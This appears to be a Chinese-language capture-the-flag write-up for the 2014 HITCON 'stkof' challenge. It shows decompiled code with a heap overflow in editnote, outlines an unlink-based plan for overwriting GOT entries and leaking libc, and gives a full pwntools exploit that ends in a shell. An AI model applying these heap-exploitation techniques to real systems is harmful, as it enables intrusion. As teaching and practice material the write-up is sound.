2014 HITCON——stkof

64位程序,没开PIE  #unlink

程序逻辑

 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
 2 {
 3   int v3; // eax
 4   signed int v5; // [rsp+Ch] [rbp-74h]
 5   char nptr; // [rsp+10h] [rbp-70h]
 6   unsigned __int64 v7; // [rsp+78h] [rbp-8h]
 7 
 8   v7 = __readfsqword(0x28u);
 9   alarm(0x78u);
10   while ( fgets(&nptr, 10, stdin) )
11   {
12     v3 = atoi(&nptr);
13     if ( v3 == 2 )
14     {
15       v5 = editnote(&nptr);
16       goto LABEL_14;
17     }
18     if ( v3 > 2 )
19     {
20       if ( v3 == 3 )
21       {
22         v5 = freenote(&nptr);
23         goto LABEL_14;
24       }
25       if ( v3 == 4 )
26       {
27         v5 = useless(&nptr);
28         goto LABEL_14;
29       }
30     }
31     else if ( v3 == 1 )
32     {
33       v5 = newnote(&nptr);
34       goto LABEL_14;
35     }
36     v5 = -1;
37 LABEL_14:
38     if ( v5 )
39       puts("FAIL");
40     else
41       puts("OK");
42     fflush(stdout);
43   }
44   return 0LL;
45 }

editnote函数

 1 signed __int64 editnote()
 2 {
 3   signed __int64 result; // rax
 4   int i; // eax
 5   unsigned int v2; // [rsp+8h] [rbp-88h]
 6   __int64 n; // [rsp+10h] [rbp-80h]
 7   char *ptr; // [rsp+18h] [rbp-78h]
 8   char s; // [rsp+20h] [rbp-70h]
 9   unsigned __int64 v6; // [rsp+88h] [rbp-8h]
10 
11   v6 = __readfsqword(0x28u);
12   fgets(&s, 16, stdin);
13   v2 = atol(&s);
14   if ( v2 > 0x100000 )
15     return 0xFFFFFFFFLL;
16   if ( !::s[v2] )
17     return 0xFFFFFFFFLL;
18   fgets(&s, 16, stdin);
19   n = atoll(&s);
20   ptr = ::s[v2];
21   for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) ) //与new时的size不一样,存在堆溢出
22   {
23     ptr += i;
24     n -= i;
25   }
26   if ( n )
27     result = 0xFFFFFFFFLL;
28   else
29     result = 0LL;
30   return result;
31 }

值得注意的是,由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。这里经过测试,会申请两个缓冲区,分别大小为 1024 和 1024。此后,无论是输入输出都不会再申请缓冲区了。所以我们最好最初的申请一个 chunk 来把这些缓冲区给申请了,方便之后操作。

利用思路

由于程序本身没有 leak,要想执行 system 等函数,我们的首要目的还是先构造 leak,基本思路如下

  • 利用 unlink 修改 global[2] 为 &global[2]-0x18。
  • 利用编辑功能修改 global[0] 为 free@got 地址,同时修改 global[1] 为 puts@got 地址,global[2] 为 atoi@got 地址。
  • 修改 free@got 为 puts@plt 的地址,从而当再次调用 free 函数时,即可直接调用 puts 函数。这样就可以泄漏函数内容。
  • free global[2],即泄漏 puts@got 内容,从而知道 system 函数地址以及 libc 中 /bin/sh 地址。
  • 修改 atoi@got 为 system 函数地址,再次调用时,输入 /bin/sh 地址即可。

expolit

 1 from pwn import *
 2 sh=process('./stkof')
 3 elf=ELF('./stkof')
 4 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
 5 
 6 def addnote(size):
 7     sh.sendline('1')
 8     sh.sendline(str(size))
 9     sh.recvuntil('OK\n')
10 
11 def editnote(index,size,message):
12     sh.sendline('2')
13     sh.sendline(str(index))
14     sh.sendline(str(size))
15     sh.send(message)
16     sh.recvuntil('OK\n')
17 
18 def freenote(index):
19     sh.sendline('3')
20     sh.sendline(str(index))
21 
22 head=0x602140
23 
24 addnote(0x100) #index 1
25 addnote(0x30)  #index 2
26 addnote(0x80)  #index 3
27 #free(3) = unlink(2)
28 #v2=&v2-0x18
29 #head[2]=&head[2]-0x18=head-0x8
30 #v2=head-0x8
31 
32 payload=p64(0)
33 payload+=p64(0x31)
34 payload+=p64(head-0x8)
35 payload+=p64(head)
36 payload=payload.ljust(0x30,'a')
37 payload+=p64(0x30)
38 payload+=p64(0x90)
39 
40 editnote(2,len(payload),payload)
41 freenote(3)
42 sh.recvuntil('OK\n')
43 
44 free_got=elf.got['free']
45 puts_got=elf.got['puts']
46 atoi_got=elf.got['atoi']
47 puts_plt=elf.plt['puts']
48 
49 payload='a'*8
50 payload+=p64(free_got)
51 payload+=p64(puts_got)
52 payload+=p64(atoi_got)
53 
54 editnote(2,len(payload),payload)
55 #v0=free_got
56 #v1=puts_got
57 #v2=atoi_got
58 
59 editnote(0,len(p64(puts_plt)),p64(puts_plt))
60 #free_got ->puts
61 
62 freenote(1)
63 #puts(puts_got)
64 
65 puts_adr=sh.recvuntil('\nOK\n',drop=True).ljust(8,'\x00')
66 puts_adr=u64(puts_adr)
67 libc_base=puts_adr-libc.symbols['puts']
68 system_adr=libc_base+libc.symbols['system']
69 binsh_adr=libc_base+libc.search('/bin/sh').next()
70 print 'libc_base: '+hex(libc_base)
71 print 'puts_adr: '+hex(puts_adr)
72 print 'system_adr: '+hex(system_adr)
73 print 'binsh_adr: '+hex(binsh_adr)
74 
75 payload=p64(system_adr)
76 editnote(2,len(payload),payload)
77 #atoi_got->system
78 payload=p64(binsh_adr)
79 sh.sendline(payload)
80 sh.interactive()

猜你喜欢

转载自www.cnblogs.com/pfcode/p/10741788.html